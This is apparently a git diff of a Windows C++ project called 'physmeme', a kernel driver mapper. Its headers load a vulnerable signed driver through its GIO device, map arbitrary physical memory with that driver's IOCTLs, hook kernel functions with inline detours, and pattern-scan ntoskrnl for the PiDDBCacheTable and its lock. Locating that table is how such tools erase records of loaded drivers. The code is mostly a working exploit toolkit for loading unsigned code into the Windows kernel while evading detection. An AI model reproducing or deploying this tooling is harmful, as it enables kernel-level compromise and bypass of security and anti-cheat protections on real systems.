</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>TurnOffAllWarnings</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>TurnOffAllWarnings</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>TurnOffAllWarnings</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>TurnOffAllWarnings</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="drv_image\drv_image.cpp" />
<ClCompile Include="kernel_ctx\kernel_ctx.cpp" />
<ClCompile Include="map_driver.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="drv_image\drv_image.h" />
<ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="map_driver.hpp" />
<ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

@ -0,0 +1,71 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\kernel_ctx">
<UniqueIdentifier>{040c8387-476c-4aa5-aa2a-ca30465b41bd}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\kernel_ctx">
<UniqueIdentifier>{642c89a0-7989-4f5c-ae5a-f71e697abe16}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\physmeme">
<UniqueIdentifier>{c4aa2f98-70d4-418e-894d-4e1975e2bad2}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\util">
<UniqueIdentifier>{4fd2f117-66bb-4f75-af5b-b7e041a4dc48}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\drv_image">
<UniqueIdentifier>{161b3714-a6cd-4b7b-a1f1-9b90b1f84aca}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\drv_image">
<UniqueIdentifier>{ed9d2db3-acef-42c0-880f-7f95dcca819d}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp">
<Filter>Source Files\kernel_ctx</Filter>
</ClCompile>
<ClCompile Include="drv_image\drv_image.cpp">
<Filter>Source Files\drv_image</Filter>
</ClCompile>
<ClCompile Include="map_driver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h">
<Filter>Header Files\kernel_ctx</Filter>
</ClInclude>
<ClInclude Include="util\hook.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="util\nt.hpp">
<Filter>Header Files\util</Filter>
</ClInclude>
<ClInclude Include="drv_image\drv_image.h">
<Filter>Header Files\drv_image</Filter>
</ClInclude>
<ClInclude Include="physmeme\physmeme.hpp">
<Filter>Header Files\physmeme</Filter>
</ClInclude>
<ClInclude Include="map_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

@ -0,0 +1,112 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
#define MAP_PHYS 0xC3502004
#define UNMAP_PHYS 0xC3502008
namespace physmeme
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
//
// please code this function depending on your method of physical read/write.
//
inline bool load_drv()
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof(raw_driver)
);
drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return drv_handle;
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
//
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size));
return out_buffer[0];
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
//
// unmap all physical memory that was mapped.
//
inline void unmap_all()
{
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx)
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second);
}
}

File diff suppressed because it is too large Load Diff

@ -0,0 +1,190 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <map>
#include <atomic>
#include <memory>
#if _M_IX86
#define OFFSET_TO_ADDRESS 0x1
#elif _M_X64
#define OFFSET_TO_ADDRESS 0x2
#endif
namespace hook
{
static void write_to_readonly(void* addr, void* data, int size)
{
DWORD old_flags;
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
memcpy((void*)addr, data, size);
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
}
class detour
{
public:
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
{
//setup hook
memcpy(
jmp_code + OFFSET_TO_ADDRESS,
&jmp_to,
sizeof(jmp_to)
);
//save bytes
memcpy(
org_bytes,
hook_addr,
sizeof(org_bytes)
);
if(enable)
install();
}
void install()
{
if (hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
hook_installed.exchange(true);
}
void uninstall()
{
if (!hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
hook_installed.exchange(false);
}
~detour() { uninstall(); }
bool installed() { return hook_installed; }
void* hook_address() { return hook_addr; }
void* detour_address() { return detour_addr; }
private:
std::atomic<bool> hook_installed;
void *hook_addr, *detour_addr;
#if _M_IX86
/*
0: b8 ff ff ff ff mov eax, 0xffffffff
5: ff e0 jmp eax
*/
unsigned char jmp_code[7] = {
0xb8, 0x0, 0x0, 0x0, 0x0,
0xFF, 0xE0
};
#elif _M_X64
/*
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
7: ff e0 jmp rax
*/
unsigned char jmp_code[12] = {
0x48, 0xb8,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0xff, 0xe0
};
#endif
std::uint8_t org_bytes[sizeof(jmp_code)];
};
static std::map<void*, std::unique_ptr<detour>> hooks{};
/*
Author: xerox
Date: 12/19/2019
Create Hook without needing to deal with objects
*/
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
{
if (!addr_to_hook)
return;
hooks.insert({
addr_to_hook,
std::make_unique<detour>(
addr_to_hook,
jmp_to_addr,
enable
)}
);
}
/*
Author: xerox
Date: 12/19/2019
Enable hook given the address to hook
*/
static void enable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->install();
}
/*
Author: xerox
Date: 12/19/2019
Disable hook givent the address of the hook
*/
static void disable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->uninstall();
}
/*
Author: xerox
Date: 12/19/2019
Remove hook completely from vector
*/
static void remove(void* addr)
{
if (!addr)
return;
hooks.at(addr)->~detour();
hooks.erase(addr);
}
}

@ -0,0 +1,114 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
constexpr auto page_size = 0x1000;
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64;
#define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2
typedef struct PiDDBCacheEntry
{
LIST_ENTRY list;
UNICODE_STRING driver_name;
ULONG time_stamp;
NTSTATUS load_status;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
}PIDCacheobj;
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef enum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolBase,
NonPagedPoolBaseMustSucceed,
NonPagedPoolBaseCacheAligned,
NonPagedPoolBaseCacheAlignedMustS,
NonPagedPoolSession,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession,
NonPagedPoolNx,
NonPagedPoolNxCacheAligned,
NonPagedPoolSessionNx
} POOL_TYPE;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
typedef struct _MM_COPY_ADDRESS {
union {
PVOID VirtualAddress;
PHYSICAL_ADDRESS PhysicalAddress;
};
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
using PEPROCESS = PVOID;
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T);
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t);
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool);
using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*);
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*);
using ExReleaseResourceLite = bool(__stdcall*)(void*);
using PsLookupProcessByProcessId = NTSTATUS(__fastcall*)(HANDLE, PEPROCESS*);
using PsGetProcessSectionBaseAddress = void* (__fastcall*)(PEPROCESS);

@ -0,0 +1,344 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include <string_view>
#include <iterator>
#include <fstream>
#include <string>
#include <map>
#include <vector>
#include <ntstatus.h>
#include <winternl.h>
#include <array>
#include <algorithm>
#include <string_view>
#include "nt.hpp"
namespace util
{
//--- ranges of physical memory
static std::map<std::uintptr_t, std::size_t> pmem_ranges{};
//--- validates the address
static bool is_valid(std::uintptr_t addr)
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
// Author: Remy Lebeau
// taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value
static const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
{
if (!base_addr || *(short*)base_addr != 0x5A4D)
return NULL;
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
PIMAGE_NT_HEADERS nt_headers =
reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
return &nt_headers->FileHeader;
}
// this was taken from wlan's drvmapper:
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
static void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static std::uintptr_t get_module_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
// had to shoot the tires off of "\\SystemRoot\\"
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
full_path.replace(
full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1,
std::string(getenv("SYSTEMROOT")).append("\\")
);
const auto module_base =
LoadLibraryEx(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
PDWORD addr, name;
PWORD ordinal;
p_idh = (PIMAGE_DOS_HEADER)module_base;
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return NULL;
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
{
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
else
{
auto result = (void*)addr[ordinal[i]];
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
namespace memory
{
template<std::size_t pattern_length>
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
{
static const auto kernel_addr =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
static const auto first_section = current_section;
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
static std::atomic<bool> ran_before = false;
//
// only run this once.
//
if(!ran_before.exchange(true))
for (; current_section < first_section + num_sec; ++current_section)
if(!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
break;
static const auto page_section_begin =
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
const auto pattern_view = std::string_view{
reinterpret_cast<char*>(page_section_begin),
current_section->SizeOfRawData
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_lock()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_lock_sig,
piddb_lock_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
